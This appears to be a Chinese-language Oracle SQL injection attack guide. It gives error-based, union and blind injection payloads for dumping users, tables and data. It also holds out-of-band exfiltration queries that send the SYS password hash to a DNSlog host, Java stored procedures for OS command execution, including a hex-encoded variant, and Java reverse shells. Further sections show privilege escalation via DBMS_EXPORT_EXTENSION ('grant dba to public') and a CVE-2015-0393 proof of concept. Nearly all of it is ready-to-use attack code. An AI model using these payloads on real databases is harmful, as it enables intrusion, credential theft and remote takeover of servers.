可以通過輸入一些字符,發現有報錯返回信息,可以嘗試注入。
正常的sql語句,輸入點為ID,可以正常返回數據
select t.*, t.rowid from TEST t where id=1
嘗試輸入 1 and 1=(SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual)
select t.*, t.rowid from TEST t where id=1 and 1=(SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual)
返回錯誤信息:
ORA-29257: 未知的主機 Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
ORA-06512: 在 "SYS.UTL_INADDR", line 4
ORA-06512: 在 "SYS.UTL_INADDR", line 35
ORA-06512: 在 line 1
報錯注入使用的函數:
Invalid HTTP Request
1 and 1=(SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual)CTXSYS.DRITHSX.SN
1 and 1=(SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual) --Invalid XPath
1 and 1=(SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual)--Invalid XML
無法使用,沒有報錯信息
1 and '1'=(SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users)--
有報錯可以使用
1 and '1'=(SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual)--注入過程
獲取用戶名
1 and 1=utl_inaddr.get_host_name((select user from dual))--
返回system獲取第一張表
1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
返回:ORA-29257: 未知的主機 LOGMNR_SESSION_EVOLVE$獲取第二張表
1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in ('LOGMNR_SESSION_EVOLVE$'))) --
返回:ORA-29257: 未知的主機 LOGMNR_GLOBAL$獲取TEST表欄位
第一個欄位:
1 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='TEST' and rownum=1))
返回:ORA-29257: 未知的主機ID
第二個欄位:
0 and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where table_name='TEST' and rownum=1 and column_name not in ('ID')))
返回:ORA-29257: 未知的主機 NAME獲取TEST表NAME的欄位數據:
0 and 1=utl_inaddr.get_host_name((SELECT replace(wm_concat(NAME),',','|') FROM TEST))
返回:ORA-29257: 未知的主機 admin|test|whoami|root聯合注入
通常通過union控制返回的內容。
正常sql語句,輸入點為ID,可以正常返回數據
select t.*, t.rowid from TEST t where id=1
頁面返回id=1,name=admin,pass=password。
payload:union select null,null,null,null from dual --
select t.*, t.rowid from TEST t where id=1 union select null,null,null,null from dual --
頁面返回id=null,name=null,pass=null。
使用oder by查找欄位數:
1 ORDER BY 1 --#True
1 ORDER BY 2 --#True
1 ORDER BY 3 --#True
1 ORDER BY 4 --#True
1 ORDER BY 5 -- #False 說明只有4個欄位
select t.*, t.rowid from TEST t where id=1 order by 5
注入過程
獲取欄位數量:
1 order by 4
1 order by 5
4正常、5出現錯誤,說明有4個欄位獲取欄位位置
欄位需要對應數據類型,否則會導致sql語句無法執行
1 union select null,'abc',null,NULL from dual --
頁面返回id=null,name=abc,pass=null。獲取資料庫信息
1 union select null,null,(select banner from sys.v_$version where rownum=1),null from dual --
頁面返回id=null,name=Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production,pass=null。獲取一張表名
1 union select null,null,(SELECT table_name FROM user_tables where rownum=1),null from dual --
頁面返回:id=null,name=AQ$_INTERNET_AGENTS,pass=null獲取多張表名
一次返回多個表名使用正則間隔開|
1 union select null,null,(SELECT replace(wm_concat(table_name),',','|') FROM user_tables),null from dual --
頁面返回id=null,name=LOGMNR_ERROR$|LOGMNR_LOG$|LOGMNR_RESTART_CKPT_TXINFO$,pass=null。
有時候會因為欄位數據類型大小的關係會出現錯誤導致注入失敗。出現這種情況可以使用上面這種辦法,切割字符串減少數據大小。
1' UNION SELECT null,null,table_name FROM all_tables--獲取TEST表欄位信息
1 union select null,null,(select column_name from user_tab_columns where table_name='TEST' and rownum=1),null from dual --
返回:id=,name=,password=ID獲取TEST表的多個欄位信息
1 union select null,null,(SELECT replace(wm_concat(column_name),',','|') FROM user_tab_columns where table_name='TEST'),null from dual --
返回:id=,name=,password=ID|NAME|PASS列TEST表的數據
1 union select ID,NAME,PASS,NULL from TEST
用正則多條返回到一條,可能會因為數據類型和長度問題無法返回
1 union select (SELECT replace(wm_concat(ID),',','|') FROM TEST),(SELECT replace(wm_concat(NAME),',','|') FROM TEST),(SELECT replace(wm_concat(PASS),',','|') FROM TEST),null from dual --盲注
通過注入返回的頁面或時間來判斷是否存在注入,當前面兩種不成立的情況下也可以使用帶外的方式(參考使用技巧外帶部分、SMB路徑)。
常規的盲注
方式1:
正常構造輸入1
select t.*, t.rowid from TEST t where id=1
返回:存在用戶
嘗試盲注輸入1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --
select t.*, t.rowid from TEST t where id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --
返回:存在用戶
方式2:
通過CASE WHEN的返回來判斷注入是否成立
當CASE WHEN 1=2不成立執行ELSE NULL,當CASE WHEN 1=1時執行to_char(1/0)報錯。
UNION SELECT CASE WHEN (1=2) THEN to_char(1/0) ELSE NULL END FROM dual--
例如當user表用戶名為administrator的用戶,密碼長度為6時,執行to_char(1/0),這時返回錯誤頁面,表明成立密碼長度為6
1' UNION SELECT CASE WHEN (username='administrator' AND length(password)=6) THEN to_char(1/0) ELSE NULL END FROM users--;通過返回的頁面去判斷,這條sql語句是否成立。上方的用戶名為SYSTEM所以正常返回。
通過截取字符串進行比較:
decode(A,B,C,D),當A=B,該函數返回C,否則返回D。我們通過substr截取字符串得到A,然後對比和B是否相等。
1 AND 1=(select decode(substr(user,1,1),'S',1,0) from dual) -- 當前用戶名第一個字符為S
1 AND 1=(select decode(substr(table_name,1,1),'L',1,0) from user_tables where rownum=1) -- 當前資料庫第一張表名的第一個字符為L
1 AND 1=(instr((select user from dual),'SYS')) -- instr會返回查詢字符串的位置,例如:ABCSYSCC,則會返回3。這裡SYSTEM的SYS在第一個位置,會返回1
1 AND 1=(select decode(substr((SELECT replace(wm_concat(column_name),',','|') FROM user_tab_columns where table_name='TEST'),1,1),'I',1,0) from dual) -- 通過正則把TEST表欄位合併為ID|NAME|PASS,這樣可以快速通過盲注獲取整個表的欄位名。
1 AND 1=(select decode(substr((SELECT replace(wm_concat(NAME),',','|') FROM TEST),1,1),'a',1,0) from dual) -- 通過正則把TEST表欄位為ID的數據用正則合併數據admin|xxxx|xxxx,這樣可以快速通過盲注獲取整個表的ID欄位的數據。時間盲注
判斷注入:
DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)
payload:
1 and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',6))
執行語句,成功延時6秒說明存在注入
select t.*, t.rowid from TEST t where id=1 and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',6))通過截取字符串比較:
使用decode函數比較,如果字符串相等就執行DBMS_PIPE.RECEIVE_MESSAGE函數,從而實現時間注入。
1 AND 1=(select decode(substr(user,1,1),'S',(DBMS_PIPE.RECEIVE_MESSAGE('a',6)),0) from dual) -- 獲取用戶名的第一個欄位是否為S,如果為S則延時6秒鐘。
其他的也是一個道理,參考上半部分的修改decode函數的參數值完成。
外帶盲注
以上兩種方式都需要大量的時間去通過截取字符串猜測存在的值,有沒有什麼辦法直接通過盲注獲取到數據,提升效率。
ceye.io可以在線註冊使用
基於DNSlog的方式:
獲取用戶名
SELECT UTL_HTTP.request('http://xxx.ceye.io/' || USER) FROM dual;
獲取SYS用戶密碼
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.xxxx.ceye.io',80) FROM DUAL;
實用技巧/payload
返回內容為多行的情況下需要使用where rownum=1,或者用正則拼接
SELECT replace(wm_concat(欄位名),',','|') FROM dual
Oracle版本SELECT user FROM dual UNION SELECT * FROM v$version
使用:
1 union select null,null,(SELECT * FROM v$version where rownum=1),null from dual
1 union select BANNER,null,null,null FROM v$version --Oracle資料庫名稱SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
使用:
1 union select null,null,(輸入payload),null from dualOracle列出表名ALL_TABLES意為某一用戶擁有的或可以訪問的所有的關係表。
SELECT DISTINCT owner FROM all_tables
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
會在指定的位置輸出table_name
1' UNION SELECT table_name,NULL FROM all_tables--
1' UNION SELECT null,OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--Oracle列表列SELECT column_name FROM all_tab_columns WHERE table_name = 'TEST';
會在指定的位置輸出xxxx表的欄位
1' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='xxxx'--
' UNION SELECT FA#,FLAGS,USER# FROM SYS_FBA_USERS--Oracle列數據1 union select (SELECT replace(wm_concat(ID),',','|') FROM TEST),(SELECT replace(wm_concat(NAME),',','|') FROM TEST),(SELECT replace(wm_concat(PASS),',','|') FROM TEST),null from dual --Oracle 執行命令
方式1:
無編碼版本
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;編碼版本:
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;方式2:
dbms_xmlquery.newcontext()
影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
創建java包
and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;) is not null--
賦予當前用戶java權限
and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual) is not null--
創建函數
and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual) is not null--
執行系統命令
1 UNION ALL SELECT NULL,NVL(CAST(LinxRUNCMD('whoami') AS VARCHAR(4000)),'xxxxx') FROM DUAL-- Uw如果以上執行有問題,可以通過以下命令去查詢執行情況
查看可用的java權限列表
select * from user_java_policy where grantee_name='YY';
查詢LINXRUNCMD是否創建成功
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
刪除創建的函數
drop function LinxRunCMDOracle getshell
查詢當前用戶的權限:
可以通過這串payload執行
select PRIVILEGE from session_privs
1 UNION ALL SELECT NULL,NVL(CAST(PRIVILEGE AS VARCHAR(4000)),CHR(32)) FROM session_privs--或者使用sqlmap參數--sql-query "select PRIVILEGE from session_privs"
我們看查詢的結果,重點看有沒有UNLIMITED TABLESPACE權限,unlimited tablespace是隱含在dba, resource角色中的一個系統權限
select PRIVILEGE from session_privs [202]:
[*] ADMINISTER ANY SQL TUNING SET
[*] ADMINISTER DATABASE TRIGGER
[*] ADMINISTER RESOURCE MANAGER
[*] ADMINISTER SQL MANAGEMENT OBJECT
[*] ADMINISTER SQL TUNING SET
[*] ADVISOR
[*] ALTER ANY ASSEMBLY
[*] ALTER ANY CLUSTER
[*] ALTER ANY CUBE
[*] UNLIMITED TABLESPACE
[*] UPDATE ANY CUBE
[*] UPDATE ANY CUBE BUILD PROCESS
[*] UPDATE ANY CUBE DIMENSION
[*] UPDATE ANY TABLE
.反彈shell
創建java代碼
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual
賦予java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
賦予函數執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
反彈shell
select sys.reversetcp from dualwindows 反彈shell java代碼
create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("192.168.xxx.xxx", 4444);Process p = Runtime.getRuntime().exec("cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}oracle 提權存儲過程提權
DBA 資料庫管理員角色,具有DBA角色的用戶可以進行除 RESOURCE外,還可以進行資料庫的管理操作。
Resource 資源角色,具有RESOURCE角色的用戶可以進行CONNECT所做的工作,此外,還可以進行CREATE TABLE、CREATE SEQUENCE、CREATE PROCEDURE、CREATE TRIGGER、CREATE INDEX及CREATE CLUSTER等。
connect 連接角色,具有CONNECT 角色用戶,可以進行 SELECT ,INSERT,UPDATE和DELETE操作。
在 Oracle 的存儲過程中運行權限分為兩種,definer 和 invoker。
definer 為函數創建者的權限,而 invoker 則是當前調用函數的用戶。運行權限在函數創建時就已經被欽定了,默認為 definer。
也就是說,我們可以通過查找存在問題的存儲過程來達到提權的目的:
存在問題的存儲過程:
create or replace procedure SasugaOracle(msg in varchar2)
as
stmt varchar2(255);
begin
stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;';
EXECUTE IMMEDIATE stmt;
end;通過注入存儲過程,給test用戶添加dba權限
EXEC SasugaOracle('hello');grant connect,resource,dba,select any table to test;END;--
DBMS_EXPORT_EXTENSION()
DBMS_EXPORT_EXTENSION是一個輸出擴展功能包,其中存在三個危險函數,get_domian_index_metadata,get_v2_domain_index_tables,get_domain_index_tables。都是以sys權限定義,默認低權限用戶可以調用。
影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
提權:該請求將導致查詢"GRANT DBA TO PUBLIC"以SYS身份執行。因為這個函數允許PL / SQL缺陷(PL / SQL注入)。一旦這個請求成功執行,PUBLIC獲取DBA角色,從而提升當前user的特權。
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual
oracle 10g版本提權
在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函數存在注入漏洞該函數位於 DBMS_EXPORT_EXTENSION 包中,執行權限隸屬於 sys。
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(
'1',
'1',
'DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--',
'SYS',
0,
'1',
0
) from dual;
CVE-2015-0393 poc
SQL> connect tss/password
Connected.
SQL> set role dba;
set role dba
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO VARCHAR) RETURN VARCHAR DETERMINISTIC AUTHID
CURRENT_USER IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
COMMIT;
RETURN 'FOO';
END;
/
Function created.
SQL> GRANT EXECUTE ON GETDBA TO PUBLIC;
Grant succeeded.
SQL>
SQL> CREATE INDEX EXPLOIT_INDEX ON SYS.FOO(TSS.GETDBA(BAR));
Index created.
SQL> select * from sys.foo;
B
-
X
SQL> set role dba;
參考:
https://www.cnblogs.com/micr067/p/12763325.html
https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/
https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html
https://www.cnblogs.com/-qing-/p/10758613.html
https://www.shuzhiduo.com/A/pRdBPVMaJn/
https://github.com/5z1punch/oracle_java_shell_client